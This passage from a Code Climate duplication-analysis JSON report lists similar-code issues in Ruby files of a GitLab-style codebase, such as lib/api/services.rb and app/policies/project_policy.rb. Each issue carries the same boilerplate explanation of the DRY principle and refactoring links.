Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"14eeea8dcc69e4efb8f98042eb7ee62c","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/services.rb","lines":{"begin":250,"end":267}},"remediation_points":210000,"other_locations":[{"path":"lib/api/services.rb","lines":{"begin":5,"end":22}},{"path":"lib/api/services.rb","lines":{"begin":322,"end":339}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"14eeea8dcc69e4efb8f98042eb7ee62c","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/services.rb","lines":{"begin":322,"end":339}},"remediation_points":210000,"other_locations":[{"path":"lib/api/services.rb","lines":{"begin":5,"end":22}},{"path":"lib/api/services.rb","lines":{"begin":250,"end":267}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"14eeea8dcc69e4efb8f98042eb7ee62c","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/services.rb","lines":{"begin":230,"end":247}},"remediation_points":210000,"other_locations":[{"path":"lib/api/services.rb","lines":{"begin":302,"end":319}},{"path":"lib/api/services.rb","lines":{"begin":511,"end":528}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"14eeea8dcc69e4efb8f98042eb7ee62c","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/services.rb","lines":{"begin":302,"end":319}},"remediation_points":210000,"other_locations":[{"path":"lib/api/services.rb","lines":{"begin":230,"end":247}},{"path":"lib/api/services.rb","lines":{"begin":511,"end":528}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"14eeea8dcc69e4efb8f98042eb7ee62c","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/services.rb","lines":{"begin":511,"end":528}},"remediation_points":210000,"other_locations":[{"path":"lib/api/services.rb","lines":{"begin":230,"end":247}},{"path":"lib/api/services.rb","lines":{"begin":302,"end":319}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"14eeea8dcc69e4efb8f98042eb7ee62c","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/http_io.rb","lines":{"begin":102,"end":119}},"remediation_points":490000,"other_locations":[{"path":"lib/gitlab/ci/trace/chunked_io.rb","lines":{"begin":95,"end":112}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 42**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9fcdc086aaa42b293828e5799976b36c","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/ci/trace/chunked_io.rb","lines":{"begin":95,"end":112}},"remediation_points":490000,"other_locations":[{"path":"lib/gitlab/http_io.rb","lines":{"begin":102,"end":119}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 42**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"0aa489542536e966d0d4ee9d92b86de3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/policies/project_policy.rb","lines":{"begin":152,"end":170}},"remediation_points":470000,"other_locations":[{"path":"app/policies/project_policy.rb","lines":{"begin":177,"end":195}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 41**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"3960d89aa99311987411af9a2ce4316a","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/policies/project_policy.rb","lines":{"begin":177,"end":195}},"remediation_points":470000,"other_locations":[{"path":"app/policies/project_policy.rb","lines":{"begin":152,"end":170}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 41**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"3960d89aa99311987411af9a2ce4316a","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/tags.rb","lines":{"begin":95,"end":104}},"remediation_points":470000,"other_locations":[{"path":"lib/api/tags.rb","lines":{"begin":115,"end":124}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 41**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"04627bf7d430fe80b4f7d86af94fb085","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/tags.rb","lines":{"begin":115,"end":124}},"remediation_points":470000,"other_locations":[{"path":"lib/api/tags.rb","lines":{"begin":95,"end":104}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 41**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"04627bf7d430fe80b4f7d86af94fb085","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/issues.rb","lines":{"begin":159,"end":171}},"remediation_points":450000,"other_locations":[{"path":"lib/api/commit_statuses.rb","lines":{"begin":16,"end":23}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 40**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"72cad3326805b4987fbe6343ebb3d0fd","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/commit_statuses.rb","lines":{"begin":16,"end":23}},"remediation_points":450000,"other_locations":[{"path":"lib/api/issues.rb","lines":{"begin":159,"end":171}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 40**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"69ab1e3ccd645591451e705830d55186","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/discussions.rb","lines":{"begin":159,"end":163}},"remediation_points":170000,"other_locations":[{"path":"lib/api/discussions.rb","lines":{"begin":194,"end":198}},{"path":"lib/api/discussions.rb","lines":{"begin":209,"end":213}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) 